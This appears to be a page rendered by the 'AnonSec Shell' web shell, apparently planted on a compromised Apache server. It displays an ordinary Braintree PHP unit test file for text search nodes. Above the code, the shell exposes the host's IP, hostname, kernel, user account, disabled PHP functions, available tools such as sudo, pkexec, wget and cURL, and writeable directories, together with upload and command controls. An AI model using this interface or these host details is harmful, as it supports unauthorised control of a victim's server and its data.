AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/vendor/braintree/braintree_php/tests/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/vendor/braintree/braintree_php/tests/unit/TextNodeTest.php
<?php
namespace Test\Unit;

require_once dirname(__DIR__) . '/Setup.php';

use Test\Setup;
use Braintree;

class TextNodeTest extends Setup
{
  public function testIs()
  {
      $node = new Braintree\TextNode('field');
      $node->is('value');
      $this->assertEquals(['is' => 'value'], $node->toParam());
  }

  public function testIsNot()
  {
      $node = new Braintree\TextNode('field');
      $node->isNot('value');
      $this->assertEquals(['is_not' => 'value'], $node->toParam());
  }

  public function testStartsWith()
  {
      $node = new Braintree\TextNode('field');
      $node->startsWith('beginning');
      $this->assertEquals(['starts_with' => 'beginning'], $node->toParam());
  }

  public function testEndsWith()
  {
      $node = new Braintree\TextNode('field');
      $node->endsWith('end');
      $this->assertEquals(['ends_with' => 'end'], $node->toParam());
  }

  public function testContains()
  {
      $node = new Braintree\TextNode('field');
      $node->contains('middle');
      $this->assertEquals(['contains' => 'middle'], $node->toParam());
  }
}

Anon7 - 2022
AnonSec Team